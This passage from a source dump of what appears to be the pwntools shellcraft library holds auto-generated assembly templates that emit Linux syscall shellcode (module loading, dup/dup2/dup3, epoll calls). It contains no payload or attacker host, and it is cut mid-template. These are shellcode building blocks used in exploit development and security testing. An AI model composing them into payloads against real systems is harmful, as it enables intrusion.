  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/create_module.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>create_module(name, size) -> str\n\nInvokes the syscall create_module.\n\nSee 'man 2 create_module' for more information.\n\nArguments:\n    name(char*): name\n    size(size_t): size\nReturns:\n    caddr_t\n</%docstring>\n<%page args=\"name=0, size=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['name']\n    can_pushstr_array = []\n\n    argument_names = ['name', 'size']\n    argument_values = [name, size]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_create_module']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_create_module'])\n%>\n    /* create_module(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/delete_module.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>delete_module(name) -> str\n\nInvokes the syscall delete_module.\n\nSee 'man 2 delete_module' for more information.\n\nArguments:\n    name(char*): name\nReturns:\n    int\n</%docstring>\n<%page args=\"name=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['name']\n    can_pushstr_array = []\n\n    argument_names = ['name']\n    argument_values = [name]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_delete_module']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_delete_module'])\n%>\n    /* delete_module(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/dup.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>dup(fd) -> str\n\nInvokes the syscall dup.\n\nSee 'man 2 dup' for more information.\n\nArguments:\n    fd(int): fd\nReturns:\n    int\n</%docstring>\n<%page args=\"fd=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fd']\n    argument_values = [fd]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_dup']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_dup'])\n%>\n    /* dup(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/dup2.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>dup2(fd, fd2) -> str\n\nInvokes the syscall dup2.\n\nSee 'man 2 dup2' for more information.\n\nArguments:\n    fd(int): fd\n    fd2(int): fd2\nReturns:\n    int\n</%docstring>\n<%page args=\"fd=0, fd2=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'fd2']\n    argument_values = [fd, fd2]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_dup2']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_dup2'])\n%>\n    /* dup2(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/dup3.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>dup3(fd, fd2, flags) -> str\n\nInvokes the syscall dup3.\n\nSee 'man 2 dup3' for more information.\n\nArguments:\n    fd(int): fd\n    fd2(int): fd2\n    flags(int): flags\nReturns:\n    int\n</%docstring>\n<%page args=\"fd=0, fd2=0, flags=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'fd2', 'flags']\n    argument_values = [fd, fd2, flags]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_dup3']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_dup3'])\n%>\n    /* dup3(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/epoll_create.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>epoll_create(size) -> str\n\nInvokes the syscall epoll_create.\n\nSee 'man 2 epoll_create' for more information.\n\nArguments:\n    size(int): size\nReturns:\n    int\n</%docstring>\n<%page args=\"size=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['size']\n    argument_values = [size]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_epoll_create']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_epoll_create'])\n%>\n    /* epoll_create(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/epoll_create1.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>epoll_create1(flags) -> str\n\nInvokes the syscall epoll_create1.\n\nSee 'man 2 epoll_create1' for more information.\n\nArguments:\n    flags(int): flags\nReturns:\n    int\n</%docstring>\n<%page args=\"flags=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['flags']\n    argument_values = [flags]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_epoll_create1']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_epoll_create1'])\n%>\n    /* epoll_create1(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/epoll_ctl.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>epoll_ctl(epfd, op, fd, event) -> str\n\nInvokes the syscall epoll_ctl.\n\nSee 'man 2 epoll_ctl' for more information.\n\nArguments:\n    epfd(int): epfd\n    op(int): op\n    fd(int): fd\n    event(epoll_event*): event\nReturns:\n    int\n</%docstring>\n<%page args=\"epfd=0, op=0, fd=0, event=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['epfd', 'op', 'fd', 'event']\n    argument_values = [epfd, op, fd, event]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_epoll_ctl']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_epoll_ctl'])\n%>\n    /* epoll_ctl(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/epoll_ctl_old.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>epoll_ctl_old(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall epoll_ctl_old.\n\nSee 'man 2 epoll_ctl_old' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_epoll_ctl_old']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_epoll_ctl_old'])\n%>\n    /* epoll_ctl_old(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/epoll_pwait.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>epoll_pwait(epfd, events, maxevents, timeout, ss) -> str\n\nInvokes the syscall epoll_pwait.\n\nSee 'man 2 epoll_pwait' for more information.\n\nArguments:\n    epfd(int): epfd\n    events(epoll_event*): events\n    maxevents(int): maxevents\n    timeout(int): timeout\n    ss(sigset_t*): ss\nReturns:\n    int\n</%docstring>\n<%page args=\"epfd=0, events=0, maxevents=0, timeout=0, ss=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['epfd', 'events', 'maxevents', 'timeout', 'ss']\n    argument_values = [epfd, events, maxevents, timeout, ss]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = 